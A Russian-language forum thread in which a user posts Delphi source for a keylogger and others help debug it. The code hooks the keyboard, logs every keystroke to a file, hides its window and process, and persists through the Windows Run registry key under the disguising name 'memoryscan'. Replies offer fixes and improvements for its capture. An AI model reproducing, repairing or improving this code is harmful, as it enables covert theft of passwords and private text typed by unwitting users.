Задача....!

  • Автор темы Codekid
  • Дата начала
Статус
Закрыто для дальнейших ответов.
C

Codekid

Вот решил написать кей логер ...
Все норм работает , делает лог файл с записью клавишь ... но возникла трудность - при авто загрузки
загружает keylogger.exe но неделает логов.... когда я сам загружаю(руками...) начинает делать....
что не так?:

function SetHook: boolean; stdcall; external 'HookLib' name 'SetHook';
procedure TForm1.FormCreate(Sender: TObject);
begin
sethook;
AssignFile(f,txtfile);
Rewrite(f);
end;

Реестр:
reg:=tregistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
if reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\run',true) then
begin
reg.WriteString('memoryscan',WinDir+'\keylogger.exe',);
reg.CloseKey;
end;
reg.Free;
end;
end;

Помогите кто знает..... :)
 
C

Codekid

Вот решил написать кей логер ...
Все норм работает , делает лог файл с записью клавишь ... но возникла трудность - при авто загрузки
загружает keylogger.exe но неделает логов.... когда я сам загружаю(руками...) начинает делать....
что не так?:

function SetHook: boolean; stdcall; external 'HookLib' name 'SetHook';
procedure TForm1.FormCreate(Sender: TObject);
begin
sethook;
AssignFile(f,txtfile);
Rewrite(f);
end;

Реестр:
reg:=tregistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
if reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\run',true) then
begin
reg.WriteString('memoryscan',WinDir+'\keylogger.exe',);
reg.CloseKey;
end;
reg.Free;
end;
end;

Помогите кто знает..... :)
может хук подругому вешать?
 
Z

zubr

Как ты определяешь путь к логфайлу? Скорее всего здесь проблема.
 
C

Codekid

вот так

procedure TForm1.FormCreate(Sender: TObject);
begin
sethook;
AssignFile(f,txtfile);
Rewrite(f);
end;

как нужно?
 
C

Codekid

txtfile='с:\text.txt' прописал начал создавать (но не делает лого..)

при загрузки создает txt файл стерая прошлый

AssignFile(f,txtfile);
Rewrite(f)
 
C

Codekid

Весь код keylogger.exe:

ses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls;

const
txtfile='c:\text.txt';
wm_Key_Event=wm_User+134;

type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormPaint(Sender: TObject);
private
procedure wm_KeyEvent(var M: TMessage); message wm_Key_Event;
end;

var
Form1: TForm1;
f: File of char;

implementation

{$R *.DFM}


function SetHook: boolean; stdcall; external 'HookLib' name 'SetHook';
procedure UnHook; stdcall; external 'HookLib' name 'UnHook';
function RegisterServiceProcess(dwProcessID, dwType : DWord): DWord; stdcall external 'Kernel32.dll' name 'RegisterServiceProcess';

procedure TForm1.FormCreate(Sender: TObject);
//ïðè ñîçäàíèè ôîðìû...
begin
RegisterServiceProcess(GetCurrentProcessID,1);
If not SetHook then ShowMessage('Failed to set hook');
AssignFile(f,txtfile);
Rewrite(f);
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);

begin
UnHook;
CloseFile(f);
end;

procedure TForm1.FormPaint(Sender: TObject);
//ïðè ïîÿâëåíèè ôîðìû...
begin
Form1.Hide;
end;

procedure TForm1.wm_KeyEvent(var M: TMessage);

var
c: char;
begin
c:=Chr(M.wParam);
Write(f,c);
If M.wParam=19 then beep;
If M.wParam=123 then
begin
UnHook;
CloseFile(f);
Application.Terminate;
end;
end;

end.
 
Z

zubr

Убери RegisterServiceProcess - тогда заработает.
 
C

Codekid

да я убрал



reg:=tregistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
if reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\run',true) then
begin
reg.WriteString('memoryscan',WinDir+'\registry.exe',);
reg.CloseKey;
end;
reg.Free;
end;
end;

end.

перезагружаю комп а прога запускается делает файл но незкрисывает в него ...
что не так что дописать нуно?
рукой работатет....
 
Z

zubr

Хм..., а сам хук работает? Попробуй beep поставить на каждое нажатие клавиши, чтобы проверить.
 
C

Codekid

Все работает если загружаю рукой.... а когда авто запуск делает загружает exe файл делает лог файл но незаписывает
, проверяю загрузку жму paus слышу beep.....


может в этом проблема:
procedure TForm1.wm_KeyEvent(var M: TMessage);

var
c: char;
begin
c:=Chr(M.wParam);
Write(f,c);
If M.wParam=19 then beep;
If M.wParam=123 then
begin
UnHook;
CloseFile(f);
Application.Terminate;
end;
end;
я удалил этот код после чего он стал создавать и загружаться но незаписывать ничего как на автозапуске....
 
Z

zubr

Пришли мне проект в ПМ. Посмотрю. Что то простое где то сидит
 
Z

zubr

1. Все записывает, что при ручном запуске программы, что в автозагрузке. Единственное, в Win98, при записи в файл размер файла не обновляется, пока файл не будет закрыт (то есть пока программа не закроется). Возможно, ты увидев размер файла 0, не пытался просмотреть его содержимое.
2. Есть недостатки у твоего кейлогера. Во первых, он не различает раскладку клавиатуры, во вторых не различает командные клавиши, в третьих, некрасивая конструкция: H:=FindWindow('TForm1','Form1'); Лучше хэндл окна передавать в дллку из самого приложения через файл-маппинг.
 
C

Codekid

как сделать чтоб он капировал dll из папке где dll находтся в данное время?(а не только из c:|?)
 
Z

zubr

как сделать чтоб он капировал dll из папке где dll находтся в данное время?(а не только из c:|?)
Для работы программы достаточно того, чтобы dll находилась в одном каталоге с программой, причем здесь c:|?
 
C

Codekid

у меня он капирует из c:\ в windir....
а есле юзер помстит на раб стол скопируест если нет то как сделалать чтоб из любова сместа копировал?
 
B

Bisyara

Кто нить пришлите работайщиё код вместе с длл библиотекой пожалуста хочу понормальному посидеть и раздуплится в коде сам делаю невыходит!!!Bisyara@yandex.ru :( :D :angry: :angry: :angry:
 
B

Bisyara

Ошибка инициализации приложения ( 0xc0000022).Для выхода нажмите кнопку ок.Пишет когда я нажимаю на свой кейлогер! :ph34r: :huh: :huh: :huh: :huh: Подскажите мож кто знает что за хрень
 
Статус
Закрыто для дальнейших ответов.
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!